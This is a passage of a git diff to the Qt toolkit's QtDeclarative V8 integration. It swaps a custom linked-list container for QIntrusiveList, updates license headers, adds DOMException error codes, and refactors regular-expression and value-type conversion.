-QScriptOriginalGlobalObject::QScriptOriginalGlobalObject(const QV8Engine *engine, v8::Handle<v8::Context> context)
+QScriptOriginalGlobalObject::QScriptOriginalGlobalObject(v8::Handle<v8::Context> context)
{
// Please notice that engine is not fully initialized at this point.
diff --git a/src/declarative/qml/v8/qscripttools_p.h b/src/declarative/qml/v8/qscripttools_p.h
index f74fbab83f..c8dace0b9f 100644
--- a/src/declarative/qml/v8/qscripttools_p.h
+++ b/src/declarative/qml/v8/qscripttools_p.h
@@ -36,180 +36,32 @@
#ifndef QSCRIPTTOOLS_P_H
#define QSCRIPTTOOLS_P_H
-#include <qdebug.h>
+#include <private/qintrusivelist_p.h>
QT_BEGIN_NAMESPACE
-template<class T>
-class QScriptBagContainer;
-
-/*!
- \internal
- \interface
- Helper class for a container. The purpuse of it is to add two pointer properties to a class
- inheriting this class without bloating an interface.
-
- This class exist only as a memory storage implementation. The only way to use it is to inherit it.
-*/
-class QScriptLinkedNode
+template<class N, QIntrusiveListNode N::*member>
+class QScriptIntrusiveList : public QIntrusiveList<N, member>
{
-protected:
- QScriptLinkedNode()
- : m_next(0)
- , m_prev(0)
- {}
-
- ~QScriptLinkedNode()
- {
- Q_ASSERT_X(!isUsed(), Q_FUNC_INFO, "Destorying QScriptLinkedNode instance that still is in a container");
- }
-
-private:
- bool isUsed() const
- {
- return m_next || m_prev;
- }
-
-#if defined(Q_NO_TEMPLATE_FRIENDS)
public:
-#else
- template<class T>
- friend class QScriptBagContainer;
-#endif
- QScriptLinkedNode *m_next;
- QScriptLinkedNode *m_prev;
+ inline void insert(N *n);
+ inline void remove(N *n);
};
-/*!
- \internal
- The QScriptBagContainer is a simple, low level, set like container for a pointer type castable to
- QScriptLinkedNode*.
- Algorithms complexity:
- put: O(1)
- get: O(1)
- forEach: O(n)
- \note This container doesn't take ownership of pointed values.
- \attention All values have to be unique.
-*/
-template<class T>
-class QScriptBagContainer
+template<class N, QIntrusiveListNode N::*member>
+void QScriptIntrusiveList<N, member>::insert(N *n)
{
-public:
- QScriptBagContainer()
- : m_first(0)
- {}
-
- /*!
- \internal
- Add a this \a value to this container
- */
- void insert(T* value)
- {
- //dump(Q_FUNC_INFO, value);
- Q_ASSERT_X(!contains(value), Q_FUNC_INFO, "Can't insert a value which is in the bag already");
- QScriptLinkedNode* v = static_cast<QScriptLinkedNode*>(value);
- Q_ASSERT(v);
- Q_ASSERT_X(!v->m_next && !v->m_prev, Q_FUNC_INFO, "Can't insert a value which is in an another bag");
-
- if (m_first)
- m_first->m_prev = v;
-
- v->m_next = m_first;
- v->m_prev = 0;
- m_first = v;
- }
-
- /*!
- \internal
- Remove this \a value from this container
- */
- void remove(T* value)
- {
- //dump(Q_FUNC_INFO, value);
- QScriptLinkedNode* v = static_cast<QScriptLinkedNode*>(value);
- Q_ASSERT(v);
+ Q_ASSERT_X(!contains(n), Q_FUNC_INFO, "Can't insert a value which is in the list already");
+ Q_ASSERT_X(!(n->*member).isInList(), Q_FUNC_INFO, "Can't insert a value which is in another list");
+ QIntrusiveList<N, member>::insert(n);
+}
- if (!v->m_next && !v->m_prev && m_first != v) {
- // ignore that value as it is not registered at all
- // FIXME: That may be optimized out if unregister call is removed from ~QtDataBase
- return;
- }
-
- Q_ASSERT_X(contains(value), Q_FUNC_INFO, "Can't remove a value which is not in the bag");
- Q_ASSERT(v->m_prev || (m_first == v && !v->m_prev));
-
- if (v->m_next)
- v->m_next->m_prev= v->m_prev;
-
- if (v->m_prev)
- v->m_prev->m_next = v->m_next;
- else
- m_first = v->m_next;
- // reset removed value
- v->m_next = v->m_prev = 0;
- }
-
- /*!
- \internal
- Call \a fun for each element in this container. Fun should accept T* as a parameter.
- \note In general it is not allowed to change this container by calling put() or get() unless
- given value is the same as currently procceded by forEach.
- */
- template<class Functor>
- void forEach(Functor fun)
- {
- //dump(Q_FUNC_INFO);
- QScriptLinkedNode *i = m_first;
- QScriptLinkedNode *tmp;
- while (i) {
- tmp = i;
- i = i->m_next;
- fun(static_cast<T*>(tmp));
- }
- }
-
- /*!
- \internal
- Clear this container.
- */
- void clear()
- {
- m_first = 0;
- }
-
- /*!
- \internal
- Returns true if this container is empty; false otherwise.
- */
- bool isEmpty() const
- {
- return !m_first;
- }
-
-// void dump(const char* msg, T* obj = 0) const
-// {
-// qDebug() << msg << obj;
-// qDebug() << m_first;
-// QScriptLinkedNode *i = m_first;
-// while (i) {
-// qDebug() <<" - " << i << "(" << i->m_prev << ", " << i->m_next <<")";
-// i = i->m_next;
-// }
-// }
-
-private:
- bool contains(T *value) const
- {
- QScriptLinkedNode *i = m_first;
- while (i) {
- if (static_cast<T*>(i) == value)
- return true;
- i = i->m_next;
- }
- return false;
- }
- QScriptLinkedNode *m_first;
-};
+template<class N, QIntrusiveListNode N::*member>
+void QScriptIntrusiveList<N, member>::remove(N *n)
+{
+ Q_ASSERT_X(contains(n), Q_FUNC_INFO, "Can't remove a value which is not in the list");
+ QIntrusiveList<N, member>::remove(n);
+}
QT_END_NAMESPACE
diff --git a/src/declarative/qml/v8/qv8_p.h b/src/declarative/qml/v8/qv8_p.h
index 6aeb6f6458..8df007e804 100644
--- a/src/declarative/qml/v8/qv8_p.h
+++ b/src/declarative/qml/v8/qv8_p.h
@@ -1 +1,42 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
#include "../../../3rdparty/v8/include/v8.h"
diff --git a/src/declarative/qml/v8/qv8bindings.cpp b/src/declarative/qml/v8/qv8bindings.cpp
index c45274a97f..3c98af2951 100644
--- a/src/declarative/qml/v8/qv8bindings.cpp
+++ b/src/declarative/qml/v8/qv8bindings.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8bindings_p.h b/src/declarative/qml/v8/qv8bindings_p.h
index f8a9407ed8..b387a50df3 100644
--- a/src/declarative/qml/v8/qv8bindings_p.h
+++ b/src/declarative/qml/v8/qv8bindings_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8contextwrapper.cpp b/src/declarative/qml/v8/qv8contextwrapper.cpp
index 4984102ba2..f41c994a0d 100644
--- a/src/declarative/qml/v8/qv8contextwrapper.cpp
+++ b/src/declarative/qml/v8/qv8contextwrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8debug_p.h b/src/declarative/qml/v8/qv8debug_p.h
new file mode 100644
index 0000000000..51208aac8e
--- /dev/null
+++ b/src/declarative/qml/v8/qv8debug_p.h
@@ -0,0 +1 @@
+#include "../../../3rdparty/v8/include/v8-debug.h"
diff --git a/src/declarative/qml/v8/qv8domerrors.cpp b/src/declarative/qml/v8/qv8domerrors.cpp
new file mode 100644
index 0000000000..e739e4a7bd
--- /dev/null
+++ b/src/declarative/qml/v8/qv8domerrors.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qv8domerrors_p.h"
+#include "qv8engine_p.h"
+
+QT_BEGIN_NAMESPACE
+
+void qt_add_domexceptions(QV8Engine *engine)
+{
+ // DOM Exception
+ v8::PropertyAttribute attributes = (v8::PropertyAttribute)(v8::ReadOnly | v8::DontEnum | v8::DontDelete);
+
+ v8::Local<v8::Object> domexception = v8::Object::New();
+ domexception->Set(v8::String::New("INDEX_SIZE_ERR"), v8::Integer::New(DOMEXCEPTION_INDEX_SIZE_ERR), attributes);
+ domexception->Set(v8::String::New("DOMSTRING_SIZE_ERR"), v8::Integer::New(DOMEXCEPTION_DOMSTRING_SIZE_ERR), attributes);
+ domexception->Set(v8::String::New("HIERARCHY_REQUEST_ERR"), v8::Integer::New(DOMEXCEPTION_HIERARCHY_REQUEST_ERR), attributes);
+ domexception->Set(v8::String::New("WRONG_DOCUMENT_ERR"), v8::Integer::New(DOMEXCEPTION_WRONG_DOCUMENT_ERR), attributes);
+ domexception->Set(v8::String::New("INVALID_CHARACTER_ERR"), v8::Integer::New(DOMEXCEPTION_INVALID_CHARACTER_ERR), attributes);
+ domexception->Set(v8::String::New("NO_DATA_ALLOWED_ERR"), v8::Integer::New(DOMEXCEPTION_NO_DATA_ALLOWED_ERR), attributes);
+ domexception->Set(v8::String::New("NO_MODIFICATION_ALLOWED_ERR"), v8::Integer::New(DOMEXCEPTION_NO_MODIFICATION_ALLOWED_ERR), attributes);
+ domexception->Set(v8::String::New("NOT_FOUND_ERR"), v8::Integer::New(DOMEXCEPTION_NOT_FOUND_ERR), attributes);
+ domexception->Set(v8::String::New("NOT_SUPPORTED_ERR"), v8::Integer::New(DOMEXCEPTION_NOT_SUPPORTED_ERR), attributes);
+ domexception->Set(v8::String::New("INUSE_ATTRIBUTE_ERR"), v8::Integer::New(DOMEXCEPTION_INUSE_ATTRIBUTE_ERR), attributes);
+ domexception->Set(v8::String::New("INVALID_STATE_ERR"), v8::Integer::New(DOMEXCEPTION_INVALID_STATE_ERR), attributes);
+ domexception->Set(v8::String::New("SYNTAX_ERR"), v8::Integer::New(DOMEXCEPTION_SYNTAX_ERR), attributes);
+ domexception->Set(v8::String::New("INVALID_MODIFICATION_ERR"), v8::Integer::New(DOMEXCEPTION_INVALID_MODIFICATION_ERR), attributes);
+ domexception->Set(v8::String::New("NAMESPACE_ERR"), v8::Integer::New(DOMEXCEPTION_NAMESPACE_ERR), attributes);
+ domexception->Set(v8::String::New("INVALID_ACCESS_ERR"), v8::Integer::New(DOMEXCEPTION_INVALID_ACCESS_ERR), attributes);
+ domexception->Set(v8::String::New("VALIDATION_ERR"), v8::Integer::New(DOMEXCEPTION_VALIDATION_ERR), attributes);
+ domexception->Set(v8::String::New("TYPE_MISMATCH_ERR"), v8::Integer::New(DOMEXCEPTION_TYPE_MISMATCH_ERR), attributes);
+ engine->global()->Set(v8::String::New("DOMException"), domexception);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgemitter_p.h b/src/declarative/qml/v8/qv8domerrors_p.h
index f61da15012..ef8ab28c12 100644
--- a/src/declarative/particles/qsgemitter_p.h
+++ b/src/declarative/qml/v8/qv8domerrors_p.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the Declarative module of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
@@ -39,66 +39,56 @@
**
****************************************************************************/
-#ifndef TRAILSEMITTER_H
-#define TRAILSEMITTER_H
+#ifndef QV8DOMERRORS_P_H
+#define QV8DOMERRORS_P_H
-#include <QtCore>//FIXME
-#include <QtGui>
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
-#include "qsgparticleemitter_p.h"
+#include <QtCore/qglobal.h>
QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-
-QT_MODULE(Declarative)
-
-
-class QSGGeometryNode;
-
-class QSGBasicEmitter : public QSGParticleEmitter
-{
- Q_OBJECT
-
- Q_PROPERTY(qreal speedFromMovement READ speedFromMovement WRITE setSpeedFromMovement NOTIFY speedFromMovementChanged)
-
-public:
- explicit QSGBasicEmitter(QSGItem* parent=0);
- virtual ~QSGBasicEmitter(){}
- virtual void emitWindow(int timeStamp);
-
-
- qreal speedFromMovement() const { return m_speed_from_movement; }
- void setSpeedFromMovement(qreal s);
-
- qreal renderOpacity() const { return m_render_opacity; }
-
-signals:
-
- void speedFromMovementChanged();
-
-public slots:
-public:
- virtual void reset();
-protected:
-
-private:
-
- qreal m_speed_from_movement;
-
- // derived values...
- int m_particle_count;
- bool m_reset_last;
- qreal m_last_timestamp;
- qreal m_last_emission;
-
- QPointF m_last_emitter;
- QPointF m_last_last_emitter;
- QPointF m_last_last_last_emitter;
-
- qreal m_render_opacity;
-};
+// From DOM-Level-3-Core spec
+// http://www.w3.org/TR/DOM-Level-3-Core/core.html
+#define DOMEXCEPTION_INDEX_SIZE_ERR 1
+#define DOMEXCEPTION_DOMSTRING_SIZE_ERR 2
+#define DOMEXCEPTION_HIERARCHY_REQUEST_ERR 3
+#define DOMEXCEPTION_WRONG_DOCUMENT_ERR 4
+#define DOMEXCEPTION_INVALID_CHARACTER_ERR 5
+#define DOMEXCEPTION_NO_DATA_ALLOWED_ERR 6
+#define DOMEXCEPTION_NO_MODIFICATION_ALLOWED_ERR 7
+#define DOMEXCEPTION_NOT_FOUND_ERR 8
+#define DOMEXCEPTION_NOT_SUPPORTED_ERR 9
+#define DOMEXCEPTION_INUSE_ATTRIBUTE_ERR 10
+#define DOMEXCEPTION_INVALID_STATE_ERR 11
+#define DOMEXCEPTION_SYNTAX_ERR 12
+#define DOMEXCEPTION_INVALID_MODIFICATION_ERR 13
+#define DOMEXCEPTION_NAMESPACE_ERR 14
+#define DOMEXCEPTION_INVALID_ACCESS_ERR 15
+#define DOMEXCEPTION_VALIDATION_ERR 16
+#define DOMEXCEPTION_TYPE_MISMATCH_ERR 17
+
+#define V8THROW_DOM(error, string) { \
+ v8::Local<v8::Value> v = v8::Exception::Error(v8::String::New(string)); \
+ v->ToObject()->Set(v8::String::New("code"), v8::Integer::New(error)); \
+ v8::ThrowException(v); \
+ return v8::Handle<v8::Value>(); \
+}
+class QV8Engine;
+void qt_add_domexceptions(QV8Engine *engine);
QT_END_NAMESPACE
+
QT_END_HEADER
-#endif // TRAILSEMITTER_H
+
+#endif // QV8DOMERRORS_P_H
diff --git a/src/declarative/qml/v8/qv8engine.cpp b/src/declarative/qml/v8/qv8engine.cpp
index acbfb92b15..4f5caa13f4 100644
--- a/src/declarative/qml/v8/qv8engine.cpp
+++ b/src/declarative/qml/v8/qv8engine.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -42,6 +42,7 @@
#include "qv8engine_p.h"
#include "qv8contextwrapper_p.h"
+#include "qv8valuetypewrapper_p.h"
#include "qv8include_p.h"
#include "../../../3rdparty/javascriptcore/DateMath.h"
@@ -63,6 +64,7 @@
#include <private/qdeclarativesqldatabase_p.h>
#include "qscript_impl_p.h"
+#include "qv8domerrors_p.h"
Q_DECLARE_METATYPE(QJSValue)
Q_DECLARE_METATYPE(QList<int>)
@@ -87,10 +89,20 @@ static bool ObjectComparisonCallback(v8::Local<v8::Object> lhs, v8::Local<v8::Ob
QV8ObjectResource::ResourceType rhst = rhsr->resourceType();
switch (lhst) {
+ case QV8ObjectResource::ValueTypeType:
+ if (rhst == QV8ObjectResource::ValueTypeType) {
+ return lhsr->engine->valueTypeWrapper()->isEqual(lhsr, lhsr->engine->valueTypeWrapper()->toVariant(rhsr));
+ } else if (rhst == QV8ObjectResource::VariantType) {
+ return lhsr->engine->valueTypeWrapper()->isEqual(lhsr, lhsr->engine->variantWrapper()->toVariant(rhsr));
+ }
+ break;
case QV8ObjectResource::VariantType:
- if (rhst == QV8ObjectResource::VariantType)
+ if (rhst == QV8ObjectResource::VariantType) {
return lhsr->engine->variantWrapper()->toVariant(lhsr) ==
lhsr->engine->variantWrapper()->toVariant(rhsr);
+ } else if (rhst == QV8ObjectResource::ValueTypeType) {
+ return rhsr->engine->valueTypeWrapper()->isEqual(rhsr, rhsr->engine->variantWrapper()->toVariant(lhsr));
+ }
break;
default:
break;
@@ -105,7 +117,7 @@ QV8Engine::QV8Engine(QJSEngine* qq, QJSEngine::ContextOwnership ownership)
, m_engine(0)
, m_ownsV8Context(ownership == QJSEngine::CreateNewContext)
, m_context((ownership == QJSEngine::CreateNewContext) ? v8::Context::New() : v8::Persistent<v8::Context>::New(v8::Context::GetCurrent()))
- , m_originalGlobalObject(this, m_context)
+ , m_originalGlobalObject(m_context)
, m_xmlHttpRequestData(0)
, m_sqlDatabaseData(0)
, m_listModelData(0)
@@ -265,55 +277,6 @@ static v8::Handle<v8::Object> objectFromVariantMap(QV8Engine *engine, const QVar
Q_CORE_EXPORT QString qt_regexp_toCanonical(const QString &, QRegExp::PatternSyntax);
-// Converts a QRegExp to a JS RegExp.
-// The conversion is not 100% exact since ECMA regexp and QRegExp
-// have different semantics/flags, but we try to do our best.
-static v8::Handle<v8::RegExp> regexpFromQRegExp(QV8Engine *engine, const QRegExp &re)
-{
- // Convert the pattern to a ECMAScript pattern.
- QString pattern = qt_regexp_toCanonical(re.pattern(), re.patternSyntax());
- if (re.isMinimal()) {
- QString ecmaPattern;
- int len = pattern.length();
- ecmaPattern.reserve(len);
- int i = 0;
- const QChar *wc = pattern.unicode();
- bool inBracket = false;
- while (i < len) {
- QChar c = wc[i++];
- ecmaPattern += c;
- switch (c.unicode()) {
- case '?':
- case '+':
- case '*':
- case '}':
- if (!inBracket)
- ecmaPattern += QLatin1Char('?');
- break;
- case '\\':
- if (i < len)
- ecmaPattern += wc[i++];
- break;
- case '[':
- inBracket = true;
- break;
- case ']':
- inBracket = false;
- break;
- default:
- break;
- }
- }
- pattern = ecmaPattern;
- }
-
- int flags = v8::RegExp::kNone;
- if (re.caseSensitivity() == Qt::CaseInsensitive)
- flags |= v8::RegExp::kIgnoreCase;
-
- return v8::RegExp::New(engine->toString(pattern), static_cast<v8::RegExp::Flags>(flags));
-}
-
v8::Handle<v8::Value> QV8Engine::fromVariant(const QVariant &variant)
{
int type = variant.userType();
@@ -356,7 +319,7 @@ v8::Handle<v8::Value> QV8Engine::fromVariant(const QVariant &variant)
case QMetaType::QTime:
return v8::Date::New(qtDateTimeToJsDate(QDateTime(QDate(1970,1,1), *reinterpret_cast<const QTime *>(ptr))));
case QMetaType::QRegExp:
- return regexpFromQRegExp(this, *reinterpret_cast<const QRegExp *>(ptr));
+ return QJSConverter::toRegExp(*reinterpret_cast<const QRegExp *>(ptr));
case QMetaType::QObjectStar:
case QMetaType::QWidgetStar:
return newQObject(*reinterpret_cast<QObject* const *>(ptr));
@@ -464,13 +427,13 @@ QVariant QV8Engine::toBasicVariant(v8::Handle<v8::Value> value)
{
if (value->IsNull() || value->IsUndefined())
return QVariant();
- else if (value->IsBoolean())
+ if (value->IsBoolean())
return value->ToBoolean()->Value();
- else if (value->IsInt32())
+ if (value->IsInt32())
return value->ToInt32()->Value();
- else if (value->IsNumber())
+ if (value->IsNumber())
return value->ToNumber()->Value();
- else if (value->IsString())
+ if (value->IsString())
return m_stringWrapper.toString(value->ToString());
if (value->IsDate())
return qtDateTimeFromJsDate(v8::Handle<v8::Date>::Cast(value)->NumberValue());
@@ -480,17 +443,9 @@ QVariant QV8Engine::toBasicVariant(v8::Handle<v8::Value> value)
if (value->IsRegExp()) {
v8::Context::Scope scope(context());
- v8::Handle<v8::RegExp> jsRegExp = v8::Handle<v8::RegExp>::Cast(value);
- // Copied from QtScript
- // Converts a JS RegExp to a QRegExp.
- // The conversion is not 100% exact since ECMA regexp and QRegExp
- // have different semantics/flags, but we try to do our best.
- QString pattern = toString(jsRegExp->GetSource());
- Qt::CaseSensitivity caseSensitivity = Qt::CaseSensitive;
- if (jsRegExp->GetFlags() & v8::RegExp::kIgnoreCase)
- caseSensitivity = Qt::CaseInsensitive;
- return QRegExp(pattern, caseSensitivity, QRegExp::RegExp2);
- } else if (value->IsArray()) {
+ return QJSConverter::toRegExp(v8::Handle<v8::RegExp>::Cast(value));
+ }
+ if (value->IsArray()) {
v8::Context::Scope scope(context());
QVariantList rv;
@@ -500,7 +455,8 @@ QVariant QV8Engine::toBasicVariant(v8::Handle<v8::Value> value)
rv << toVariant(array->Get(ii), -1);
return rv;
- } else if (!value->IsFunction()) {
+ }
+ if (!value->IsFunction()) {
v8::Context::Scope scope(context());
v8::Handle<v8::Object> object = value->ToObject();
v8::Local<v8::Array> properties = object->GetPropertyNames();
@@ -522,6 +478,7 @@ QVariant QV8Engine::toBasicVariant(v8::Handle<v8::Value> value)
#include <QtGui/qvector3d.h>
+#include <QtGui/qvector4d.h>
struct StaticQtMetaObject : public QObject
{
@@ -556,6 +513,7 @@ void QV8Engine::initializeGlobal(v8::Handle<v8::Object> global)
qt->Set(v8::String::New("point"), V8FUNCTION(point, this));
qt->Set(v8::String::New("size"), V8FUNCTION(size, this));
qt->Set(v8::String::New("vector3d"), V8FUNCTION(vector3d, this));
+ qt->Set(v8::String::New("vector4d"), V8FUNCTION(vector4d, this));
qt->Set(v8::String::New("formatDate"), V8FUNCTION(formatDate, this));
qt->Set(v8::String::New("formatTime"), V8FUNCTION(formatTime, this));
@@ -594,6 +552,7 @@ void QV8Engine::initializeGlobal(v8::Handle<v8::Object> global)
v8::Local<v8::Object> stringPrototype = v8::Local<v8::Object>::Cast(string->Get(v8::String::New("prototype")));
stringPrototype->Set(v8::String::New("arg"), V8FUNCTION(stringArg, this));
+ qt_add_domexceptions(this);
